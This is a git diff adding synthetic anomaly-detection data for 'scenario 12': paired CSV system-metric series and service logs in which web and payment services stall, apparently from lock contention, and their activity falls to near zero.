CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:35 web-app[2048]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:40 web-app[2048]: GET /api/v1/user/24 status=200 OK +Jul 02 12:02:45 web-app[2048]: GET /api/v1/user/31 status=200 OK +Jul 02 12:02:50 web-app[2048]: GET /api/v1/user/42 status=200 OK +Jul 02 12:02:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:00 web-app[2048]: GET /api/v1/user/21 status=200 OK +Jul 02 12:03:05 web-app[2048]: GET /api/v1/user/45 status=200 OK +Jul 02 12:03:10 web-app[2048]: GET /api/v1/user/10 status=200 OK +Jul 02 12:03:15 web-app[2048]: GET /api/v1/user/48 status=200 OK +Jul 02 12:03:20 CRON[4488]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:25 web-app[2048]: GET /api/v1/user/49 status=200 OK +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:35 web-app[2048]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:40 web-app[2048]: GET /api/v1/user/32 status=200 OK +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_2.csv b/anom_dataset/scenario_12/anom_12_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..51246eb85632b88bb69d88fde9f7b7e6e98a34cf --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T14:00:00Z,27.077496694868767,54.491168260506576,21.169602528767975,2.2199960112429014,1.6427780357586501 +2025-08-16T14:00:05Z,43.84436980496393,55.458785167970596,26.887985619106423,2.367072957038609,2.796894951603818 +2025-08-16T14:00:10Z,25.946458517960266,57.54432270622831,43.29405620171273,1.7469685577236014,2.9608107255407 +2025-08-16T14:00:15Z,32.19884348452468,57.0524699159018,32.62676414213322,1.0660627109032332,1.7710205315000485 +2025-08-16T14:00:20Z,27.939906280571357,57.47414255095238,46.282872761880256,1.3451039529565267,1.8612253963454424 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+2025-08-16T14:07:05Z,0.17253138197515255,55.444212204643335,0.001237016718613071,0.019256664224154715,0.006025207784521353 +2025-08-16T14:07:10Z,0.5666867396789144,55.84566090597993,0.19997799551442008,0.016254258892482287,0.0009936783974800801 +2025-08-16T14:07:15Z,0.933420475519912,54.24512021437897,0.06507578649419368,0.03663979531920158,0.007922840750028737 +2025-08-16T14:07:20Z,0.332595244509562,53.70042128658241,0.1580866843192588,0.029611741069544614,0.029404527303354872 +2025-08-16T14:07:25Z,0.5067647053769451,51.77625614505207,0.05020828027405793,0.02571737819422239,0.0072524313664725955 diff --git a/anom_dataset/scenario_12/anom_12_2.log b/anom_dataset/scenario_12/anom_12_2.log new file mode 100644 index 0000000000000000000000000000000000000000..204176ea3def12e025bc58d232e99551552f8c13 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_2.log @@ -0,0 +1,31 @@ +Aug 16 14:00:00 systemd[1]: Started Session 25 of user service_runner. +Aug 16 14:00:11 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:00:24 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 16 14:00:38 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:00:48 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:00:59 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:01:11 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:01:15 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:01:20 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:01:26 systemd[1]: Started Session 23 of user service_runner. +Aug 16 14:01:34 systemd[1]: Started Session 28 of user service_runner. +Aug 16 14:01:37 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 16 14:01:43 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:01:51 systemd[1]: Started Session 26 of user service_runner. +Aug 16 14:01:57 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:02:03 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:02:17 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 16 14:02:28 systemd[1]: Started Session 22 of user service_runner. +Aug 16 14:02:35 payment-service[2345]: INFO: Transaction started for user "user173". +Aug 16 14:02:47 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:02:53 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 16 14:03:00 payment-service[2345]: INFO: Transaction started for user "user114". +Aug 16 14:03:06 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 16 14:03:18 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 16 14:03:26 systemd[1]: Started Session 20 of user service_runner. +Aug 16 14:03:34 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 16 14:03:47 payment-service[2345]: INFO: Transaction started for user "user173". +Aug 16 14:03:54 inventory-service[3456]: INFO: Inventory check for product_id "1554". +Aug 16 14:03:57 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 16 14:04:07 payment-service[2345]: INFO: Transaction started for user "user130". +Aug 16 14:07:05 health-checker[4567]: ERROR: Liveness probe failed for services payment-service, inventory-service: request timed out. diff --git a/anom_dataset/scenario_12/anom_12_20.csv b/anom_dataset/scenario_12/anom_12_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..2b82a863507aed36102e540f5d4db075a9aa1a9f --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_20.csv @@ -0,0 +1,91 @@ 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+2025-07-17T10:07:20Z,0.48396228250853623,45.947586567888884,0.17721907482670862,0.08548677533594388,0.051108922002463086 +2025-07-17T10:07:25Z,0.13632277043991003,44.803356670710734,0.1989456648986295,0.06570358219623816,0.030423605246748323 diff --git a/anom_dataset/scenario_12/anom_12_20.log b/anom_dataset/scenario_12/anom_12_20.log new file mode 100644 index 0000000000000000000000000000000000000000..45b328dc1fcf4078aea6420113bdb35d32241362 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_20.log @@ -0,0 +1,57 @@ +Jul 17 10:00:00 web-app[3456]: INFO Request received for user_id=178 +Jul 17 10:00:05 web-app[3456]: INFO User authenticated successfully, user_id=127 +Jul 17 10:00:10 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:00:20 web-app[3456]: INFO Request received for user_id=152 +Jul 17 10:00:25 web-app[3456]: INFO User authenticated successfully, user_id=119 +Jul 17 10:00:30 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:00:40 web-app[3456]: INFO Request received for user_id=149 +Jul 17 10:00:45 web-app[3456]: INFO User authenticated successfully, user_id=113 +Jul 17 10:00:50 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:01:00 web-app[3456]: INFO Request received for user_id=109 +Jul 17 10:01:05 web-app[3456]: INFO User authenticated successfully, user_id=165 +Jul 17 10:01:10 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:01:20 web-app[3456]: INFO Request received for user_id=156 +Jul 17 10:01:25 web-app[3456]: INFO User authenticated successfully, user_id=100 +Jul 17 10:01:30 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:01:40 web-app[3456]: INFO Request received for user_id=161 +Jul 17 10:01:45 web-app[3456]: INFO User authenticated successfully, user_id=114 +Jul 17 10:01:50 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:02:00 web-app[3456]: INFO Request received for user_id=158 +Jul 17 10:02:05 web-app[3456]: INFO User authenticated successfully, user_id=179 +Jul 17 10:02:10 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:02:20 web-app[3456]: INFO Request received for user_id=130 +Jul 17 10:02:25 web-app[3456]: INFO User authenticated successfully, user_id=108 +Jul 17 10:02:30 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:02:40 web-app[3456]: INFO Request received for user_id=126 +Jul 17 10:02:45 web-app[3456]: INFO User authenticated successfully, user_id=169 +Jul 17 10:02:50 web-app[3456]: GET /api/v1/user/settings status=200 OK +Jul 17 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:03:05 systemd[1]: Starting daily clean up activities... +Jul 17 10:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:03:35 systemd[1]: Starting daily clean up activities... +Jul 17 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:04:05 systemd[1]: Starting daily clean up activities... +Jul 17 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:04:35 systemd[1]: Starting daily clean up activities... +Jul 17 10:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:05:05 systemd[1]: Starting daily clean up activities... +Jul 17 10:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:05:35 systemd[1]: Starting daily clean up activities... +Jul 17 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:06:05 systemd[1]: Starting daily clean up activities... +Jul 17 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:06:35 systemd[1]: Starting daily clean up activities... +Jul 17 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 17 10:07:05 systemd[1]: Starting daily clean up activities... +Jul 17 10:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_21.csv b/anom_dataset/scenario_12/anom_12_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..1726cabd022bb37339b0bc804cf6db654a906537 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T14:30:00Z,22.044055884710577,51.39352262921459,18.807902596405125,1.0074597212018532,0.9484450944294781 +2025-08-12T14:30:05Z,26.945286878826458,54.060601993893464,28.78339560068567,1.4545485952343644,0.8832305428247338 +2025-08-12T14:30:10Z,20.72889001740606,48.4496883030431,46.87330545102358,0.8345791820388286,1.0045484365485722 +2025-08-12T14:30:15Z,19.77029608469151,49.498767807463636,17.580623051764512,1.0426178368950694,0.8310476919660486 +2025-08-12T14:30:20Z,15.747391389181,50.37763300878872,35.187677992515574,0.872886655704513,0.958744780598763 +2025-08-12T14:30:25Z,15.365376007073088,55.106808553135565,34.02369446013851,1.4409297558781091,0.9625797847053519 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+2025-08-12T14:37:10Z,0.5118451362304318,47.46107475963485,0.43683429371046784,0.01782285703052137,0.008805786629256768 +2025-08-12T14:37:15Z,0.5945701066202302,51.77615320386425,0.037722621077060814,0.00831128115535495,0.021699014890453873 +2025-08-12T14:37:20Z,1.052635207232822,52.590970549412106,0.36806173727641117,0.01933120601421804,0.016676129605313058 +2025-08-12T14:37:25Z,0.4176548928032593,49.85330722670239,0.4088121022721184,0.04306670318078461,0.041580915273147716 diff --git a/anom_dataset/scenario_12/anom_12_21.log b/anom_dataset/scenario_12/anom_12_21.log new file mode 100644 index 0000000000000000000000000000000000000000..9804ad3cdd51856739169168944381aa1188f619 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_21.log @@ -0,0 +1,67 @@ +Aug 12 14:30:00 payment-service[2048]: POST /api/v1/transaction/273 status=200 OK +Aug 12 14:30:00 systemd[1]: Starting daily clean up activities... +Aug 12 14:30:00 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod +Aug 12 14:30:05 payment-service[2048]: POST /api/v1/transaction/480 status=200 OK +Aug 12 14:30:10 payment-service[2048]: POST /api/v1/transaction/59 status=200 OK +Aug 12 14:30:15 payment-service[2048]: POST /api/v1/transaction/94 status=200 OK +Aug 12 14:30:20 payment-service[2048]: POST /api/v1/transaction/498 status=200 OK +Aug 12 14:30:25 payment-service[2048]: POST /api/v1/transaction/62 status=200 OK +Aug 12 14:30:30 payment-service[2048]: POST /api/v1/transaction/65 status=200 OK +Aug 12 14:30:35 payment-service[2048]: POST /api/v1/transaction/115 status=200 OK +Aug 12 14:30:40 payment-service[2048]: POST /api/v1/transaction/94 status=200 OK +Aug 12 14:30:45 payment-service[2048]: POST /api/v1/transaction/85 status=200 OK +Aug 12 14:30:50 payment-service[2048]: POST /api/v1/transaction/406 status=200 OK +Aug 12 14:30:55 payment-service[2048]: POST /api/v1/transaction/244 status=200 OK +Aug 12 14:31:00 payment-service[2048]: POST /api/v1/transaction/142 status=200 OK +Aug 12 14:31:10 payment-service[2048]: POST /api/v1/transaction/199 status=200 OK +Aug 12 14:31:15 payment-service[2048]: POST /api/v1/transaction/255 status=200 OK +Aug 12 14:31:15 systemd[1]: Starting daily clean up activities... +Aug 12 14:31:25 payment-service[2048]: POST /api/v1/transaction/453 status=200 OK +Aug 12 14:31:30 payment-service[2048]: POST /api/v1/transaction/100 status=200 OK +Aug 12 14:31:35 payment-service[2048]: POST /api/v1/transaction/420 status=200 OK +Aug 12 14:31:40 payment-service[2048]: POST /api/v1/transaction/454 status=200 OK +Aug 12 14:31:45 payment-service[2048]: POST /api/v1/transaction/331 status=200 OK +Aug 12 14:31:55 payment-service[2048]: POST /api/v1/transaction/92 status=200 OK +Aug 12 14:32:00 payment-service[2048]: POST /api/v1/transaction/491 status=200 OK +Aug 12 14:32:05 payment-service[2048]: POST /api/v1/transaction/184 status=200 OK +Aug 12 14:32:05 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod +Aug 12 14:32:10 payment-service[2048]: POST /api/v1/transaction/292 status=200 OK +Aug 12 14:32:15 payment-service[2048]: POST /api/v1/transaction/253 status=200 OK +Aug 12 14:32:20 payment-service[2048]: POST /api/v1/transaction/306 status=200 OK +Aug 12 14:32:25 payment-service[2048]: POST /api/v1/transaction/426 status=200 OK +Aug 12 14:32:30 payment-service[2048]: POST /api/v1/transaction/251 status=200 OK +Aug 12 14:32:30 systemd[1]: Starting daily clean up activities... +Aug 12 14:32:35 payment-service[2048]: POST /api/v1/transaction/379 status=200 OK +Aug 12 14:32:40 payment-service[2048]: POST /api/v1/transaction/482 status=200 OK +Aug 12 14:32:45 payment-service[2048]: POST /api/v1/transaction/485 status=200 OK +Aug 12 14:32:50 payment-service[2048]: POST /api/v1/transaction/100 status=200 OK +Aug 12 14:32:55 payment-service[2048]: POST /api/v1/transaction/64 status=200 OK +Aug 12 14:33:00 payment-service[2048]: POST /api/v1/transaction/37 status=200 OK +Aug 12 14:33:05 payment-service[2048]: POST /api/v1/transaction/365 status=200 OK +Aug 12 14:33:10 payment-service[2048]: POST /api/v1/transaction/139 status=200 OK +Aug 12 14:33:15 payment-service[2048]: POST /api/v1/transaction/384 status=200 OK +Aug 12 14:33:20 payment-service[2048]: POST /api/v1/transaction/446 status=200 OK +Aug 12 14:33:25 payment-service[2048]: POST /api/v1/transaction/294 status=200 OK +Aug 12 14:33:30 payment-service[2048]: POST /api/v1/transaction/180 status=200 OK +Aug 12 14:33:35 payment-service[2048]: POST /api/v1/transaction/432 status=200 OK +Aug 12 14:33:40 payment-service[2048]: POST /api/v1/transaction/178 status=200 OK +Aug 12 14:33:45 payment-service[2048]: POST /api/v1/transaction/349 status=200 OK +Aug 12 14:33:45 systemd[1]: Starting daily clean up activities... +Aug 12 14:33:50 payment-service[2048]: POST /api/v1/transaction/115 status=200 OK +Aug 12 14:34:00 payment-service[2048]: POST /api/v1/transaction/279 status=200 OK +Aug 12 14:34:05 payment-service[2048]: POST /api/v1/transaction/172 status=200 OK +Aug 12 14:34:10 payment-service[2048]: POST /api/v1/transaction/149 status=200 OK +Aug 12 14:34:10 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod +Aug 12 14:34:15 payment-service[2048]: POST /api/v1/transaction/76 status=200 OK +Aug 12 14:34:20 payment-service[2048]: POST /api/v1/transaction/403 status=200 OK +Aug 12 14:34:25 payment-service[2048]: POST /api/v1/transaction/119 status=200 OK +Aug 12 14:34:30 payment-service[2048]: POST /api/v1/transaction/50 status=200 OK +Aug 12 14:34:35 payment-service[2048]: POST /api/v1/transaction/393 status=200 OK +Aug 12 14:34:40 payment-service[2048]: POST /api/v1/transaction/403 status=200 OK +Aug 12 14:34:45 payment-service[2048]: POST /api/v1/transaction/86 status=200 OK +Aug 12 14:34:50 payment-service[2048]: POST /api/v1/transaction/300 status=200 OK +Aug 12 14:35:00 systemd[1]: Starting daily clean up activities... +Aug 12 14:35:00 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod +Aug 12 14:35:50 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod +Aug 12 14:36:15 systemd[1]: Starting daily clean up activities... +Aug 12 14:36:40 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-pod diff --git a/anom_dataset/scenario_12/anom_12_22.csv b/anom_dataset/scenario_12/anom_12_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..6b21519d08f297384e3799a8b6f9b2d35b3952ab --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,21.440892433307774,40.78919025682358,49.717024108997805,1.3069369846947196,1.1299866573821888 +2025-07-02T12:00:05Z,29.56940816955796,44.636105043960775,49.17298968279773,0.980880790985325,1.1008386213302748 +2025-07-02T12:00:10Z,25.309810651315455,40.86231976637447,45.85664561957118,1.110513289230139,0.8349971228844464 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+2025-07-02T12:06:55Z,0.4580420115980045,41.42638412439122,0.34312194381002703,0.09815149908929488,0.0722091006473728 +2025-07-02T12:07:00Z,0.9618113800470333,41.42638412439122,0.03216004574258813,0.008405315313889007,0.09795528387354296 +2025-07-02T12:07:05Z,1.4285448676562433,41.42638412439122,0.32999808563425415,0.0168942773916572,0.08657671455851079 +2025-07-02T12:07:10Z,0.6679475023843823,41.42638412439122,0.32836857900532623,0.09285159868561997,0.057742531042403844 +2025-07-02T12:07:15Z,0.817895656051871,41.42638412439122,0.22144801743288006,0.042216341653189805,0.052323743300461856 +2025-07-02T12:07:20Z,1.3508140668949662,41.42638412439122,0.28651630059882593,0.04539692203611465,0.009832472060497277 +2025-07-02T12:07:25Z,1.4248935790646735,41.42638412439122,0.19090049753970284,0.047235042959165086,0.03557847963260694 diff --git a/anom_dataset/scenario_12/anom_12_22.log b/anom_dataset/scenario_12/anom_12_22.log new file mode 100644 index 0000000000000000000000000000000000000000..bcc465c1be786bd633e9e819f40c11183a801576 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_22.log @@ -0,0 +1,21 @@ +Jul 02 12:00:00 web-app[2255]: GET /api/v1/user/28 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:27 web-app[2255]: GET /api/v1/user/35 status=200 OK +Jul 02 12:00:30 web-app[2255]: GET /api/v1/user/39 status=200 OK +Jul 02 12:00:40 web-app[2255]: GET /api/v1/user/26 status=200 OK +Jul 02 12:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:12 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:41 web-app[2255]: GET /api/v1/user/35 status=200 OK +Jul 02 12:02:06 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:13 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:18 web-app[2255]: GET /api/v1/user/39 status=200 OK +Jul 02 12:03:01 web-app[2255]: GET /api/v1/user/39 status=200 OK +Jul 02 12:03:01 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:09 web-app[2255]: GET /api/v1/user/34 status=200 OK +Jul 02 12:03:09 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:34 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:04 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:32 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:02 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:01 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_23.csv b/anom_dataset/scenario_12/anom_12_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..57d70f44fad323020c31d57f0115b44a2d15fa6d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-20T10:06:50Z,1.43,53.13,0.47,0.09,0.09 +2025-07-20T10:06:55Z,0.75,52.46,0.46,0.07,0.01 +2025-07-20T10:07:00Z,0.39,53.07,0.05,0.07,0.03 +2025-07-20T10:07:05Z,0.26,52.82,0.49,0.1,0.03 +2025-07-20T10:07:10Z,1.33,52.82,0.04,0.09,0.07 +2025-07-20T10:07:15Z,0.46,52.2,0.08,0.06,0.01 +2025-07-20T10:07:20Z,0.96,52.79,0.46,0.05,0.1 +2025-07-20T10:07:25Z,1.43,52.79,0.21,0.01,0.03 diff --git a/anom_dataset/scenario_12/anom_12_23.log b/anom_dataset/scenario_12/anom_12_23.log new file mode 100644 index 0000000000000000000000000000000000000000..65cb736a123e75ccd25676e5e3af56c80b8c1413 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_23.log @@ -0,0 +1,47 @@ +Jul 20 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 20 10:00:05 web-app[3102]: GET /api/v1/user/47 status=200 OK +Jul 20 10:00:10 web-app[3102]: GET /api/v1/user/21 status=200 OK +Jul 20 10:00:15 web-app[3102]: GET /api/v1/user/33 status=200 OK +Jul 20 10:00:20 web-app[3102]: GET /api/v1/user/22 status=200 OK +Jul 20 10:00:25 web-app[3102]: GET /api/v1/user/20 status=201 Created +Jul 20 10:00:30 web-app[3102]: GET /api/v1/user/48 status=200 OK +Jul 20 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 20 10:00:40 web-app[3102]: GET /api/v1/user/45 status=200 OK +Jul 20 10:00:45 web-app[3102]: GET /api/v1/user/46 status=404 Not Found +Jul 20 10:00:50 web-app[3102]: GET /api/v1/user/13 status=200 OK +Jul 20 10:00:55 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 20 10:01:00 web-app[3102]: GET /api/v1/user/12 status=200 OK +Jul 20 10:01:05 web-app[3102]: GET /api/v1/user/31 status=201 Created +Jul 20 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 20 10:01:15 web-app[3102]: GET /api/v1/user/45 status=200 OK +Jul 20 10:01:20 web-app[3102]: GET /api/v1/user/10 status=200 OK +Jul 20 10:01:25 web-app[3102]: GET /api/v1/user/49 status=200 OK +Jul 20 10:01:30 web-app[3102]: GET /api/v1/user/12 status=404 Not Found +Jul 20 10:01:35 web-app[3102]: GET /api/v1/user/38 status=200 OK +Jul 20 10:01:40 web-app[3102]: GET /api/v1/user/48 status=200 OK +Jul 20 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 20 10:01:50 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 20 10:01:55 web-app[3102]: GET /api/v1/user/39 status=404 Not Found +Jul 20 10:02:00 web-app[3102]: GET /api/v1/user/22 status=201 Created +Jul 20 10:02:05 web-app[3102]: GET /api/v1/user/32 status=201 Created +Jul 20 10:02:10 web-app[3102]: GET /api/v1/user/47 status=200 OK +Jul 20 10:02:15 web-app[3102]: GET /api/v1/user/39 status=200 OK +Jul 20 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 20 10:02:25 web-app[3102]: GET /api/v1/user/33 status=200 OK +Jul 20 10:02:30 web-app[3102]: GET /api/v1/user/17 status=200 OK +Jul 20 10:02:35 web-app[3102]: GET /api/v1/user/38 status=200 OK +Jul 20 10:02:40 web-app[3102]: GET /api/v1/user/22 status=200 OK +Jul 20 10:02:45 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 20 10:02:50 web-app[3102]: GET /api/v1/user/28 status=200 OK +Jul 20 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 20 10:03:00 web-app[3102]: GET /api/v1/user/26 status=201 Created +Jul 20 10:03:05 web-app[3102]: GET /api/v1/user/17 status=200 OK +Jul 20 10:03:10 web-app[3102]: GET /api/v1/user/22 status=200 OK +Jul 20 10:03:20 kubelet[2150]: INFO Liveness probe succeeded for pod web-app-pod +Jul 20 10:04:10 kubelet[2150]: INFO Liveness probe succeeded for pod web-app-pod +Jul 20 10:04:15 systemd[1]: Starting system maintenance... +Jul 20 10:05:00 kubelet[2150]: INFO Liveness probe succeeded for pod web-app-pod +Jul 20 10:05:40 systemd[1]: Starting system maintenance... +Jul 20 10:05:50 kubelet[2150]: INFO Liveness probe succeeded for pod web-app-pod +Jul 20 10:06:40 kubelet[2150]: INFO Liveness probe succeeded for pod web-app-pod +Jul 20 10:07:05 systemd[1]: Starting system maintenance... diff --git a/anom_dataset/scenario_12/anom_12_24.csv b/anom_dataset/scenario_12/anom_12_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c25dc6d4f35033b8eb38690bb7bb4371c26a5b2 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,25.37232398646549,40.101166870616005,21.117124129025328,1.46165151834085,1.2081389866820416 +2025-07-02T12:00:05Z,28.900427602284896,43.66121659368987,20.196139371512302,0.8060222154794784,0.9712122090622224 +2025-07-02T12:00:10Z,13.242236591655436,40.98989396358939,29.620230043370206,0.6293705554835449,1.0705827087232291 +2025-07-02T12:00:15Z,23.402480277625703,41.788086224565056,25.71803713406784,1.2104628334171716,1.241829538793334 +2025-07-02T12:00:20Z,19.336512883633507,40.027916046727384,31.501003957192285,1.4237504608624554,0.8693981817430513 +2025-07-02T12:00:25Z,25.77478696404601,43.35305561538269,38.34701546259517,0.8846746725094209,0.8637645360757358 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+2025-07-02T12:06:15Z,0.8555208384267642,40.910461695385955,0.0,0.0,0.0 +2025-07-02T12:06:20Z,0.2156956128309,43.304621850642825,0.0,0.0,0.0 +2025-07-02T12:06:25Z,0.16218736536204714,42.60084352149964,0.0,0.0,0.0 +2025-07-02T12:06:30Z,0.5302123947469444,41.60299434263504,0.0,0.0,0.0 +2025-07-02T12:06:35Z,0.7823068270617489,41.51187568094779,0.0,0.0,0.0 +2025-07-02T12:06:40Z,0.2148631883792776,41.10407779314929,0.0,0.0,0.0 +2025-07-02T12:06:45Z,0.7164859016580248,41.33750413789281,0.0,0.0,0.0 +2025-07-02T12:06:50Z,0.6536678797020437,44.643601655746394,0.0,0.0,0.0 +2025-07-02T12:06:55Z,0.20085385809381295,43.60006996807192,0.0,0.0,0.0 +2025-07-02T12:07:00Z,0.9828518658898673,44.472970648391204,0.0,0.0,0.0 +2025-07-02T12:07:05Z,0.40055306875410224,42.92023201545171,0.0,0.0,0.0 +2025-07-02T12:07:10Z,0.8282186659570192,44.04041069444395,0.0,0.0,0.0 +2025-07-02T12:07:15Z,0.7480764706722309,40.0970982635259,0.0,0.0,0.0 +2025-07-02T12:07:20Z,0.20070498735408238,41.69765548572507,0.0,0.0,0.0 +2025-07-02T12:07:25Z,0.8769232516857173,40.10436991611516,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_12/anom_12_24.log b/anom_dataset/scenario_12/anom_12_24.log new file mode 100644 index 0000000000000000000000000000000000000000..dc2bd537a4e9b12b1e399db1de5e1125144d7751 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_24.log @@ -0,0 +1,50 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:05 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 02 12:00:15 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:00:25 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:00:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK 